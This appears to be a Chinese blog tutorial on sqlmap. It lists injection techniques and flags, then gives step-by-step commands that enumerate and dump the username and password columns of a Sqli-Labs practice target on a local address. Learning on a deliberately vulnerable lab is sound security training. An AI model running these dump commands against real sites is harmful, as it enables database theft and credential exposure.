好久没有更新推文了,也不是没有时间,主要是太懒......
02 学习环境本次学习使用的是kali集成的sqlmap,不牵扯安装,此步略过.
02 sqlmap简介sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4)联合查询注入,可以使用union的情况下的注入。
5)堆查询注入,可以同时执行多条语句的执行时的注入。
这里我主要是使用之前搭建的Sqli-Labs(less-1)靶场环境来测试
参数介绍
–v // 信息详细等级
–dbs // 列举数据库
–current-db // 当前数据库
–users // 列数据库用户
–current-user // 当前用户
–tables -D “数据库” // 列举数据库的表名
–columns -T “表名” -D “数据库” // 获取表的列名
–dump -C “字段,字段” -T “表名” -D “数据库” //拿到字段信息
1.确保已经打开靶场环境
2.打开kali启动sqlmap
3.我们已知less-1是存在回显注入的,所以直接输入参数
查询当前数据库 sqlmap -u "http://192.168.1.137/sqli/Less-1/?id=1" -v 1 –current-db
4.查询到当前数据库为security,然后查表
查表 sqlmap -u "http://192.168.1.137/sqli/Less-1/?id=1" -v 1 –tables -D "security"
5.显示有四个表,尝试查users这个表里面的列信息
查列 sqlmap -u "http://192.168.1.137/sqli/Less-1/?id=1" -v 1 –columns -T "users" -D "security"
6.查询到有两列,最后查询里面的对应字段信息
查字段 sqlmap -u "http://192.168.1.137/sqli/Less-1/?id=1" -v 1 –dump -C "username,password" -T "users" -D "security"
已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中